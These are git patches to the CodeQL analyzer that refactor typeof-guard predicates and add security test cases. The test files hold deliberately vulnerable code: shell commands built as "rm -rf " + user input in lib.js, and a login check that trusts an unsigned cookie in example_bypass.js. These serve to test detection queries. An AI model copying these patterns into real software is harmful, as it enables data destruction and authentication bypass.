+114,24 @@ nodes | test.cpp:8:9:8:12 | call to rand | semmle.label | call to rand | | test.cpp:13:2:13:15 | Chi [array content] | semmle.label | Chi [array content] | | test.cpp:13:2:13:15 | ChiPartial | semmle.label | ChiPartial | +| test.cpp:13:2:13:15 | ChiTotal [post update] [array content] | semmle.label | ChiTotal [post update] [array content] | | test.cpp:13:10:13:13 | call to rand | semmle.label | call to rand | | test.cpp:13:10:13:13 | call to rand | semmle.label | call to rand | | test.cpp:18:2:18:14 | Chi [array content] | semmle.label | Chi [array content] | | test.cpp:18:2:18:14 | ChiPartial | semmle.label | ChiPartial | +| test.cpp:18:2:18:14 | ChiTotal [post update] [array content] | semmle.label | ChiTotal [post update] [array content] | | test.cpp:18:9:18:12 | call to rand | semmle.label | call to rand | | test.cpp:18:9:18:12 | call to rand | semmle.label | call to rand | | test.cpp:24:11:24:18 | call to get_rand | semmle.label | call to get_rand | | test.cpp:25:7:25:7 | r | semmle.label | r | | test.cpp:25:7:25:7 | r | semmle.label | r | | test.cpp:25:7:25:7 | r | semmle.label | r | -| test.cpp:30:13:30:14 | Chi | semmle.label | Chi | +| test.cpp:30:13:30:14 | get_rand2 output argument | semmle.label | get_rand2 output argument | | test.cpp:30:13:30:14 | get_rand2 output argument [array content] | semmle.label | get_rand2 output argument [array content] | | test.cpp:31:7:31:7 | r | semmle.label | r | | test.cpp:31:7:31:7 | r | semmle.label | r | | test.cpp:31:7:31:7 | r | semmle.label | r | -| test.cpp:36:13:36:13 | Chi | semmle.label | Chi | +| test.cpp:36:13:36:13 | get_rand3 output argument | semmle.label | get_rand3 output argument | | test.cpp:36:13:36:13 | get_rand3 output argument [array content] | semmle.label | get_rand3 output argument [array content] | | test.cpp:37:7:37:7 | r | semmle.label | r | | test.cpp:37:7:37:7 | r | semmle.label | r | From 009527c69c601f32befa4b4fed0faf68d1f637e2 Mon Sep 17 00:00:00 2001 From: Esben Sparre Andreasen <esbena@github.com> Date: Tue, 22 Dec 2020 09:24:07 +0100 Subject: [PATCH 0361/1241] JS: add change note --- javascript/change-notes/202020-12-22-execa.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 javascript/change-notes/202020-12-22-execa.md diff --git a/javascript/change-notes/202020-12-22-execa.md b/javascript/change-notes/202020-12-22-execa.md new file mode 100644 index 00000000000..1310315eaa5 --- /dev/null +++ b/javascript/change-notes/202020-12-22-execa.md @@ -0,0 +1,4 @@ +lgtm,codescanning +* The command injection security queries now recognize additional sinks. + Affected packages are + [execa](https://npmjs.com/package/execa) From 34a09ff5229c242fdd245cce622f5cf46ea342d1 Mon Sep 17 00:00:00 2001 From: Esben Sparre Andreasen <esbena@github.com> Date: Tue, 22 Dec 2020 09:34:25 +0100 Subject: [PATCH 0362/1241] JS: add js/conditional-bypass example as a test case --- .../CWE-807/ConditionalBypass.expected | 16 +++++++++++++ .../DifferentKindsComparisonBypass.expected | 1 + .../Security/CWE-807/example_bypass.js | 24 +++++++++++++++++++ 3 files changed, 41 insertions(+) create mode 100644 javascript/ql/test/query-tests/Security/CWE-807/example_bypass.js diff --git a/javascript/ql/test/query-tests/Security/CWE-807/ConditionalBypass.expected b/javascript/ql/test/query-tests/Security/CWE-807/ConditionalBypass.expected index 71a36a5675e..c4ebfd574bb 100644 --- a/javascript/ql/test/query-tests/Security/CWE-807/ConditionalBypass.expected +++ b/javascript/ql/test/query-tests/Security/CWE-807/ConditionalBypass.expected @@ -1,4 +1,14 @@ nodes +| example_bypass.js:6:9:6:19 | req.cookies | +| example_bypass.js:6:9:6:19 | req.cookies | +| example_bypass.js:6:9:6:34 | req.coo ... nUserId | +| example_bypass.js:6:9:6:34 | req.coo ... nUserId | +| example_bypass.js:6:40:6:56 | req.params.userId | +| example_bypass.js:6:40:6:56 | req.params.userId | +| example_bypass.js:6:40:6:56 | req.params.userId | +| example_bypass.js:17:46:17:62 | req.params.userId | +| example_bypass.js:17:46:17:62 | req.params.userId | +| example_bypass.js:17:46:17:62 | req.params.userId | | tst.js:9:8:9:26 | req.params.shutDown | | tst.js:9:8:9:26 | req.params.shutDown | | tst.js:9:8:9:26 | req.params.shutDown | @@ -60,6 +70,12 @@ nodes | tst.js:113:13:113:32 | req.query.vulnerable | | tst.js:113:13:113:32 | req.query.vulnerable | edges +| example_bypass.js:6:9:6:19 | req.cookies | example_bypass.js:6:9:6:34 | req.coo ... nUserId | +| example_bypass.js:6:9:6:19 | req.cookies | example_bypass.js:6:9:6:34 | req.coo ... nUserId | +| example_bypass.js:6:9:6:19 | req.cookies | example_bypass.js:6:9:6:34 | req.coo ... nUserId | +| example_bypass.js:6:9:6:19 | req.cookies | example_bypass.js:6:9:6:34 | req.coo ... nUserId | +| example_bypass.js:6:40:6:56 | req.params.userId | example_bypass.js:6:40:6:56 | req.params.userId | +| example_bypass.js:17:46:17:62 | req.params.userId | example_bypass.js:17:46:17:62 | req.params.userId | | tst.js:9:8:9:26 | req.params.shutDown | tst.js:9:8:9:26 | req.params.shutDown | | tst.js:13:9:13:19 | req.cookies | tst.js:13:9:13:30 | req.coo ... inThing | | tst.js:13:9:13:19 | req.cookies | tst.js:13:9:13:30 | req.coo ... inThing | diff --git a/javascript/ql/test/query-tests/Security/CWE-807/DifferentKindsComparisonBypass.expected b/javascript/ql/test/query-tests/Security/CWE-807/DifferentKindsComparisonBypass.expected index e6529de1c83..7898b98f391 100644 --- a/javascript/ql/test/query-tests/Security/CWE-807/DifferentKindsComparisonBypass.expected +++ b/javascript/ql/test/query-tests/Security/CWE-807/DifferentKindsComparisonBypass.expected @@ -1,3 +1,4 @@ +| example_bypass.js:6:9:6:56 | req.coo ... .userId | This comparison of $@ and $@ is a potential security risk since it is controlled by the user. | example_bypass.js:6:9:6:19 | req.cookies | req.cookies | example_bypass.js:6:40:6:56 | req.params.userId | req.params.userId | | tst-different-kinds-comparison-bypass.js:7:5:7:42 | req.que ... .userId | This comparison of $@ and $@ is a potential security risk since it is controlled by the user. | tst-different-kinds-comparison-bypass.js:7:5:7:20 | req.query.userId | req.query.userId | tst-different-kinds-comparison-bypass.js:7:25:7:35 | req.cookies | req.cookies | | tst-different-kinds-comparison-bypass.js:11:5:11:23 | req.url == req.body | This comparison of $@ and $@ is a potential security risk since it is controlled by the user. | tst-different-kinds-comparison-bypass.js:11:5:11:11 | req.url | req.url | tst-different-kinds-comparison-bypass.js:11:16:11:23 | req.body | req.body | | tst-different-kinds-comparison-bypass.js:16:9:16:14 | a == b | This comparison of $@ and $@ is a potential security risk since it is controlled by the user. | tst-different-kinds-comparison-bypass.js:13:11:13:26 | req.query.userId | req.query.userId | tst-different-kinds-comparison-bypass.js:13:29:13:39 | req.cookies | req.cookies | diff --git a/javascript/ql/test/query-tests/Security/CWE-807/example_bypass.js b/javascript/ql/test/query-tests/Security/CWE-807/example_bypass.js new file mode 100644 index 00000000000..86802fca59e --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-807/example_bypass.js @@ -0,0 +1,24 @@ +var express = require('express'); +var app = express(); +// ... +app.get('/full-profile/:userId', function(req, res) { + + if (req.cookies.loggedInUserId !== req.params.userId) { // NOT OK + // BAD: login decision made based on user controlled data + requireLogin(); + } else { + // ... show private information + } + +}); + +app.get('/full-profile/:userId', function(req, res) { + + if (req.signedCookies.loggedInUserId !== req.params.userId) { // OK + // GOOD: login decision made based on server controlled data + requireLogin(); + } else { + // ... show private information + } + +}); From 6eb88b9e4158c73399b974e72c4c833d55b8615c Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Tue, 22 Dec 2020 09:42:12 +0100 Subject: [PATCH 0363/1241] introduce and use TaintTracking::isTypeofGuard --- .../CWE-915/PrototypePollutingFunction.ql | 22 +++++++++---------- .../javascript/DefensiveProgramming.qll | 15 +++++-------- .../javascript/dataflow/TaintTracking.qll | 19 +++++++++++----- .../javascript/security/TaintedObject.qll | 12 +++++----- .../dataflow/PrototypePollutingAssignment.qll | 17 ++++++-------- .../UnsafeJQueryPluginCustomizations.qll | 5 +---- ...ShellCommandConstructionCustomizations.qll | 8 ++----- ...lidatedDynamicMethodCallCustomizations.qll | 9 +++----- .../security/dataflow/XssThroughDom.qll | 12 +++++----- 9 files changed, 53 insertions(+), 66 deletions(-) diff --git a/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.ql b/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.ql index f1dc8a33d27..3aec2c4bd8f 100644 --- a/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.ql +++ b/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.ql @@ -18,6 +18,7 @@ import javascript import DataFlow import PathGraph import semmle.javascript.DynamicPropertyAccess +private import semmle.javascript.dataflow.InferredTypes /** * A call of form `x.split(".")` where `x` is a parameter. @@ -394,34 +395,31 @@ class InstanceOfGuard extends DataFlow::LabeledBarrierGuardNode, DataFlow::Value */ class TypeofGuard extends DataFlow::LabeledBarrierGuardNode, DataFlow::ValueNode { override EqualityTest astNode; - TypeofExpr typeof; - string typeofStr; + Expr operand; + InferredType type; - TypeofGuard() { - typeof = astNode.getAnOperand() and - typeofStr = astNode.getAnOperand().getStringValue() - } + TypeofGuard() { TaintTracking::isTypeofGuard(astNode, operand, type) } override predicate blocks(boolean outcome, Expr e, DataFlow::FlowLabel label) { - e = typeof.getOperand() and + e = operand and outcome = astNode.getPolarity() and ( - typeofStr = "object" and + type = TTObject() and label = "constructor" or - typeofStr = "function" and + type = TTFunction() and label = "__proto__" ) or - e = typeof.getOperand() and + e = operand and outcome = astNode.getPolarity().booleanNot() and ( // If something is not an object, sanitize object, as both must end // in non-function prototype object. - typeofStr = "object" and + type = TTObject() and label instanceof UnsafePropLabel or - typeofStr = "function" and + type = TTFunction() and label = "constructor" ) } diff --git a/javascript/ql/src/semmle/javascript/DefensiveProgramming.qll b/javascript/ql/src/semmle/javascript/DefensiveProgramming.qll index 5f4e16aae10..b10ba0bc22d 100644 --- a/javascript/ql/src/semmle/javascript/DefensiveProgramming.qll +++ b/javascript/ql/src/semmle/javascript/DefensiveProgramming.qll @@ -326,20 +326,15 @@ module DefensiveExpressionTest { */ private class TypeofTest extends EqualityTest { Expr operand; - TypeofTag tag; + InferredType type; - TypeofTest() { - exists(Expr op1, Expr op2 | hasOperands(op1, op2) | - operand = op1.(TypeofExpr).getOperand() and - op2.mayHaveStringValue(tag) - ) - } + TypeofTest() { TaintTracking::isTypeofGuard(this, operand, type) } boolean getTheTestResult() { exists(boolean testResult | - testResult = true and operand.analyze().getTheType().getTypeofTag() = tag + testResult = true and operand.analyze().getTheType() = type or - testResult = false and not operand.analyze().getAType().getTypeofTag() = tag + testResult = false and not operand.analyze().getAType() = type | if getPolarity() = true then result = testResult else result = testResult.booleanNot() ) @@ -353,7 +348,7 @@ module DefensiveExpressionTest { /** * Gets the `typeof` tag that is tested. */ - TypeofTag getTag() { result = tag } + TypeofTag getTag() { result = type.getTypeofTag() } } /** diff --git a/javascript/ql/src/semmle/javascript/dataflow/TaintTracking.qll b/javascript/ql/src/semmle/javascript/dataflow/TaintTracking.qll index becd6b4515d..a3b246d6934 100644 --- a/javascript/ql/src/semmle/javascript/dataflow/TaintTracking.qll +++ b/javascript/ql/src/semmle/javascript/dataflow/TaintTracking.qll @@ -899,12 +899,7 @@ module TaintTracking { Expr x; override EqualityTest astNode; - TypeOfUndefinedSanitizer() { - exists(StringLiteral str, TypeofExpr typeof | astNode.hasOperands(str, typeof) | - str.getValue() = "undefined" and - typeof.getOperand() = x - ) - } + TypeOfUndefinedSanitizer() { isTypeofGuard(astNode, x, TTUndefined()) } override predicate sanitizes(boolean outcome, Expr e) { outcome = astNode.getPolarity() and @@ -914,6 +909,18 @@ module TaintTracking { override predicate appliesTo(Configuration cfg) { any() } } + /** + * Holds if `test` is a guard that checks if `operand` is typeof `type`. + * + * See `TypeOfUndefinedSanitizer` for example usage. + */ + predicate isTypeofGuard(EqualityTest test, Expr operand, InferredType type) { + exists(Expr str, TypeofExpr typeof | test.hasOperands(str, typeof) | + str.mayHaveStringValue(type.getTypeofTag()) and + typeof.getOperand() = operand + ) + } + /** DEPRECATED. This class has been renamed to `MembershipTestSanitizer`. */ deprecated class StringInclusionSanitizer = MembershipTestSanitizer; diff --git a/javascript/ql/src/semmle/javascript/security/TaintedObject.qll b/javascript/ql/src/semmle/javascript/security/TaintedObject.qll index f9f02ec95df..a59e8b8ea77 100644 --- a/javascript/ql/src/semmle/javascript/security/TaintedObject.qll +++ b/javascript/ql/src/semmle/javascript/security/TaintedObject.qll @@ -14,6 +14,7 @@ */ import javascript +private import semmle.javascript.dataflow.InferredTypes module TaintedObject { private import DataFlow @@ -98,25 +99,24 @@ module TaintedObject { */ private class TypeTestGuard extends SanitizerGuard, ValueNode { override EqualityTest astNode; - TypeofExpr typeof; + Expr operand; boolean polarity; TypeTestGuard() { - astNode.getAnOperand() = typeof and - ( + exists(InferredType type | TaintTracking::isTypeofGuard(astNode, operand, type) | // typeof x === "object" sanitizes `x` when it evaluates to false - astNode.getAnOperand().getStringValue() = "object" and + type = TTObject() and polarity = astNode.getPolarity().booleanNot() or // typeof x === "string" sanitizes `x` when it evaluates to true - astNode.getAnOperand().getStringValue() != "object" and + type != TTObject() and polarity = astNode.getPolarity() ) } override predicate sanitizes(boolean outcome, Expr e, FlowLabel label) { polarity = outcome and - e = typeof.getOperand() and + e = operand and label = label() } } diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll b/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll index 4c87db17413..2b6e413fd21 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll @@ -9,6 +9,7 @@ private import javascript private import semmle.javascript.DynamicPropertyAccess +private import semmle.javascript.dataflow.InferredTypes /** * Provides a taint tracking configuration for reasoning about @@ -164,22 +165,18 @@ module PrototypePollutingAssignment { private class TypeofCheck extends TaintTracking::LabeledSanitizerGuardNode, DataFlow::ValueNode { override EqualityTest astNode; Expr operand; - string value; + boolean polarity; TypeofCheck() { - exists(TypeofExpr typeof, Expr str | - astNode.hasOperands(typeof, str) and - typeof.getOperand() = operand and - str.getStringValue() = value + exists(InferredType type | TaintTracking::isTypeofGuard(astNode, operand, type) | + type = TTObject() and polarity = astNode.getPolarity().booleanNot() + or + type != TTObject() and polarity = astNode.getPolarity() ) } override predicate sanitizes(boolean outcome, Expr e, DataFlow::FlowLabel label) { - ( - value = "object" and outcome = astNode.getPolarity().booleanNot() - or - value != "object" and outcome = astNode.getPolarity() - ) and + polarity = outcome and e = operand and label instanceof ObjectPrototype } diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeJQueryPluginCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeJQueryPluginCustomizations.qll index 2ddc0fca917..6ec7241f852 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeJQueryPluginCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeJQueryPluginCustomizations.qll @@ -134,10 +134,7 @@ module UnsafeJQueryPlugin { SyntacticConstants::isUndefined(undef) ) or - exists(Expr op1, Expr op2 | test.hasOperands(op1, op2) | - read.asExpr() = op1.(TypeofExpr).getOperand() and - op2.mayHaveStringValue(any(InferredType t | t = TTUndefined()).getTypeofTag()) - ) + TaintTracking::isTypeofGuard(test, read.asExpr(), TTUndefined()) ) or polarity = true and diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll index 70fbd3a1f66..88a875fc0f0 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll @@ -200,12 +200,8 @@ module UnsafeShellCommandConstruction { override EqualityTest astNode; TypeOfSanitizer() { - exists(Expr str, TypeofExpr typeof | astNode.hasOperands(str, typeof) | - str.mayHaveStringValue(any(InferredType t | - t = TTUndefined() or t = TTNumber() or t = TTBoolean() - ).getTypeofTag()) and - typeof.getOperand() = x - ) + TaintTracking::isTypeofGuard(astNode, x, + any(InferredType t | t = TTUndefined() or t = TTNumber() or t = TTBoolean())) } override predicate sanitizes(boolean outcome, Expr e) { diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/UnvalidatedDynamicMethodCallCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/UnvalidatedDynamicMethodCallCustomizations.qll index 867478f7dfe..c3283a12cee 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/UnvalidatedDynamicMethodCallCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/UnvalidatedDynamicMethodCallCustomizations.qll @@ -98,16 +98,13 @@ module UnvalidatedDynamicMethodCall { */ class FunctionCheck extends TaintTracking::LabeledSanitizerGuardNode, DataFlow::ValueNode { override EqualityTest astNode; - TypeofExpr t; + Expr operand; - FunctionCheck() { - astNode.getAnOperand().getStringValue() = "function" and - astNode.getAnOperand().getUnderlyingValue() = t - } + FunctionCheck() { TaintTracking::isTypeofGuard(astNode, operand, TTFunction()) } override predicate sanitizes(boolean outcome, Expr e, DataFlow::FlowLabel label) { outcome = astNode.getPolarity() and - e = t.getOperand().getUnderlyingValue() and + e = operand and label instanceof MaybeNonFunction } } diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDom.qll b/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDom.qll index 69359c24215..0c807d3f539 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDom.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDom.qll @@ -4,6 +4,7 @@ */ import javascript +private import semmle.javascript.dataflow.InferredTypes /** * Classes and predicates for the XSS through DOM query. @@ -103,25 +104,24 @@ module XssThroughDom { */ class TypeTestGuard extends TaintTracking::SanitizerGuardNode, DataFlow::ValueNode { override EqualityTest astNode; - TypeofExpr typeof; + Expr operand; boolean polarity; TypeTestGuard() { - astNode.getAnOperand() = typeof and - ( + exists(InferredType type | TaintTracking::isTypeofGuard(astNode, operand, type) | // typeof x === "string" sanitizes `x` when it evaluates to false - astNode.getAnOperand().getStringValue() = "string" and + type = TTString() and polarity = astNode.getPolarity().booleanNot() or // typeof x === "object" sanitizes `x` when it evaluates to true - astNode.getAnOperand().getStringValue() != "string" and + type != TTString() and polarity = astNode.getPolarity() ) } override predicate sanitizes(boolean outcome, Expr e) { polarity = outcome and - e = typeof.getOperand() + e = operand } } } From df95562f8ff45371e91d6b6b831915b14500e18f Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Tue, 22 Dec 2020 09:43:50 +0100 Subject: [PATCH 0364/1241] remove TTUndefined from TypeOfSanitizer in js/shell-command-constructed-from-input --- .../dataflow/UnsafeShellCommandConstructionCustomizations.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll index 88a875fc0f0..f0be144cee6 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll @@ -201,7 +201,7 @@ module UnsafeShellCommandConstruction { TypeOfSanitizer() { TaintTracking::isTypeofGuard(astNode, x, - any(InferredType t | t = TTUndefined() or t = TTNumber() or t = TTBoolean())) + any(InferredType t | t = TTNumber() or t = TTBoolean())) } override predicate sanitizes(boolean outcome, Expr e) { From 874af7637f4ffb76fa7b2eb7be0dcae729f052ee Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Tue, 22 Dec 2020 11:02:50 +0100 Subject: [PATCH 0365/1241] Java: Fix taint-step handling for untrusted-data-external-api The previous implementation would not handle any `AdditionalTaintStep` subclasses. --- java/ql/src/semmle/code/java/security/ExternalAPIs.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/java/ql/src/semmle/code/java/security/ExternalAPIs.qll b/java/ql/src/semmle/code/java/security/ExternalAPIs.qll index 57d085eba75..785b021d42f 100644 --- a/java/ql/src/semmle/code/java/security/ExternalAPIs.qll +++ b/java/ql/src/semmle/code/java/security/ExternalAPIs.qll @@ -76,7 +76,7 @@ class ExternalAPIDataNode extends DataFlow::Node { m.fromSource() ) and // Not already modeled as a taint step - not exists(DataFlow::Node next | TaintTracking::localTaintStep(this, next)) and + not exists(DataFlow::Node next | TaintTracking::defaultAdditionalTaintStep(this, next)) and // Not a call to a known safe external API not call.getCallee() instanceof SafeExternalAPIMethod } From 6a9089b15eed773d75bcc8563fae77abb94a0714 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Tue, 22 Dec 2020 11:11:59 +0100 Subject: [PATCH 0366/1241] recognize bound functions in js/shell-command-constructed-from-input --- .../UnsafeShellCommandConstructionCustomizations.qll | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll index b3a26a02dc1..6881179413e 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll @@ -51,10 +51,12 @@ module UnsafeShellCommandConstruction { */ class ExternalInputSource extends Source, DataFlow::ParameterNode { ExternalInputSource() { - this = - Exports::getAValueExportedBy(Exports::getTopmostPackageJSON()) - .getAFunctionValue() - .getAParameter() and + exists(int bound, DataFlow::FunctionNode func | + func = + Exports::getAValueExportedBy(Exports::getTopmostPackageJSON()) + .getABoundFunctionValue(bound) and + this = func.getParameter(any(int arg | arg >= bound)) + ) and not this.getName() = ["cmd", "command"] // looks to be on purpose. } } From b8b5aef5f4b760f3f29fec3100f8d88996eae082 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Tue, 22 Dec 2020 11:21:41 +0100 Subject: [PATCH 0367/1241] recognize `Object.defineProperty(obj, prop, {get: func})` as a property-write --- javascript/ql/src/semmle/javascript/dataflow/DataFlow.qll | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/dataflow/DataFlow.qll b/javascript/ql/src/semmle/javascript/dataflow/DataFlow.qll index f829f833fa7..54ac2548a7b 100644 --- a/javascript/ql/src/semmle/javascript/dataflow/DataFlow.qll +++ b/javascript/ql/src/semmle/javascript/dataflow/DataFlow.qll @@ -628,7 +628,11 @@ module DataFlow { override string getPropertyName() { result = astNode.getArgument(1).getStringValue() } override Node getRhs() { - result = astNode.getArgument(2).(ObjectExpr).getPropertyByName("value").getInit().flow() + exists(ObjectExpr obj | obj = astNode.getArgument(2) | + result = obj.getPropertyByName("value").getInit().flow() + or + result = obj.getPropertyByName("get").getInit().flow().(DataFlow::FunctionNode).getAReturn() + ) } override ControlFlowNode getWriteNode() { result = astNode } From da9a4e52677335d0fe34ec1ba145cc0cea531f39 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Tue, 22 Dec 2020 11:22:25 +0100 Subject: [PATCH 0368/1241] add test --- .../CWE-078/UnsafeShellCommandConstruction.expected | 9 +++++++++ .../ql/test/query-tests/Security/CWE-078/lib/lib.js | 11 +++++++++++ 2 files changed, 20 insertions(+) diff --git a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction.expected b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction.expected index 5c5721ee49b..7e68d72272e 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction.expected +++ b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction.expected @@ -191,6 +191,10 @@ nodes | lib/lib.js:340:22:340:26 | id(n) | | lib/lib.js:340:22:340:26 | id(n) | | lib/lib.js:340:25:340:25 | n | +| lib/lib.js:343:29:343:34 | unsafe | +| lib/lib.js:343:29:343:34 | unsafe | +| lib/lib.js:345:22:345:27 | unsafe | +| lib/lib.js:345:22:345:27 | unsafe | edges | lib/lib2.js:3:28:3:31 | name | lib/lib2.js:4:22:4:25 | name | | lib/lib2.js:3:28:3:31 | name | lib/lib2.js:4:22:4:25 | name | @@ -417,6 +421,10 @@ edges | lib/lib.js:339:39:339:39 | n | lib/lib.js:340:25:340:25 | n | | lib/lib.js:340:25:340:25 | n | lib/lib.js:340:22:340:26 | id(n) | | lib/lib.js:340:25:340:25 | n | lib/lib.js:340:22:340:26 | id(n) | +| lib/lib.js:343:29:343:34 | unsafe | lib/lib.js:345:22:345:27 | unsafe | +| lib/lib.js:343:29:343:34 | unsafe | lib/lib.js:345:22:345:27 | unsafe | +| lib/lib.js:343:29:343:34 | unsafe | lib/lib.js:345:22:345:27 | unsafe | +| lib/lib.js:343:29:343:34 | unsafe | lib/lib.js:345:22:345:27 | unsafe | #select | lib/lib2.js:4:10:4:25 | "rm -rf " + name | lib/lib2.js:3:28:3:31 | name | lib/lib2.js:4:22:4:25 | name | $@ based on library input is later used in $@. | lib/lib2.js:4:10:4:25 | "rm -rf " + name | String concatenation | lib/lib2.js:4:2:4:26 | cp.exec ... + name) | shell command | | lib/lib2.js:8:10:8:25 | "rm -rf " + name | lib/lib2.js:7:32:7:35 | name | lib/lib2.js:8:22:8:25 | name | $@ based on library input is later used in $@. | lib/lib2.js:8:10:8:25 | "rm -rf " + name | String concatenation | lib/lib2.js:8:2:8:26 | cp.exec ... + name) | shell command | @@ -472,3 +480,4 @@ edges | lib/lib.js:320:11:320:26 | "rm -rf " + name | lib/lib.js:314:40:314:43 | name | lib/lib.js:320:23:320:26 | name | $@ based on library input is later used in $@. | lib/lib.js:320:11:320:26 | "rm -rf " + name | String concatenation | lib/lib.js:320:3:320:27 | cp.exec ... + name) | shell command | | lib/lib.js:325:12:325:51 | "MyWind ... " + arg | lib/lib.js:324:40:324:42 | arg | lib/lib.js:325:49:325:51 | arg | $@ based on library input is later used in $@. | lib/lib.js:325:12:325:51 | "MyWind ... " + arg | String concatenation | lib/lib.js:326:2:326:13 | cp.exec(cmd) | shell command | | lib/lib.js:340:10:340:26 | "rm -rf " + id(n) | lib/lib.js:339:39:339:39 | n | lib/lib.js:340:22:340:26 | id(n) | $@ based on library input is later used in $@. | lib/lib.js:340:10:340:26 | "rm -rf " + id(n) | String concatenation | lib/lib.js:340:2:340:27 | cp.exec ... id(n)) | shell command | +| lib/lib.js:345:10:345:27 | "rm -rf " + unsafe | lib/lib.js:343:29:343:34 | unsafe | lib/lib.js:345:22:345:27 | unsafe | $@ based on library input is later used in $@. | lib/lib.js:345:10:345:27 | "rm -rf " + unsafe | String concatenation | lib/lib.js:345:2:345:28 | cp.exec ... unsafe) | shell command | diff --git a/javascript/ql/test/query-tests/Security/CWE-078/lib/lib.js b/javascript/ql/test/query-tests/Security/CWE-078/lib/lib.js index 83dfcca22af..e02b5dac975 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/lib/lib.js +++ b/javascript/ql/test/query-tests/Security/CWE-078/lib/lib.js @@ -339,3 +339,14 @@ module.exports.unproblematic = function() { module.exports.problematic = function(n) { cp.exec("rm -rf " + id(n)); // NOT OK }; + +function boundProblem(safe, unsafe) { + cp.exec("rm -rf " + safe); // OK + cp.exec("rm -rf " + unsafe); // NOT OK +} + +Object.defineProperty(module.exports, "boundProblem", { + get: function () { + return boundProblem.bind(this, "safe"); + } +}); \ No newline at end of file From bc4a0bcbebbb84426bf1da1cf18c6ba1666eb3b4 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Tue, 22 Dec 2020 11:27:11 +0100 Subject: [PATCH 0369/1241] Python: Split request handler / route setup concept tests Not doing so earlier was just a mistake. --- python/ql/test/experimental/meta/ConceptsTest.qll | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/python/ql/test/experimental/meta/ConceptsTest.qll b/python/ql/test/experimental/meta/ConceptsTest.qll index b031499e5e2..1deef32857b 100644 --- a/python/ql/test/experimental/meta/ConceptsTest.qll +++ b/python/ql/test/experimental/meta/ConceptsTest.qll @@ -142,9 +142,7 @@ class SqlExecutionTest extends InlineExpectationsTest { class HttpServerRouteSetupTest extends InlineExpectationsTest { HttpServerRouteSetupTest() { this = "HttpServerRouteSetupTest" } - override string getARelevantTag() { - result in ["routeSetup", "requestHandler", "routedParameter"] - } + override string getARelevantTag() { result in ["routeSetup"] } override predicate hasActualResult(Location location, string element, string tag, string value) { exists(HTTP::Server::RouteSetup setup | @@ -158,7 +156,15 @@ class HttpServerRouteSetupTest extends InlineExpectationsTest { ) and tag = "routeSetup" ) - or + } +} + +class HttpServerRequestHandlerTest extends InlineExpectationsTest { + HttpServerRequestHandlerTest() { this = "HttpServerRequestHandlerTest" } + + override string getARelevantTag() { result in ["requestHandler", "routedParameter"] } + + override predicate hasActualResult(Location location, string element, string tag, string value) { exists(HTTP::Server::RequestHandler handler | location = handler.getLocation() and element = handler.toString() and From dc0d9403314e95cd0d6d4a3abcad3b194e04187a 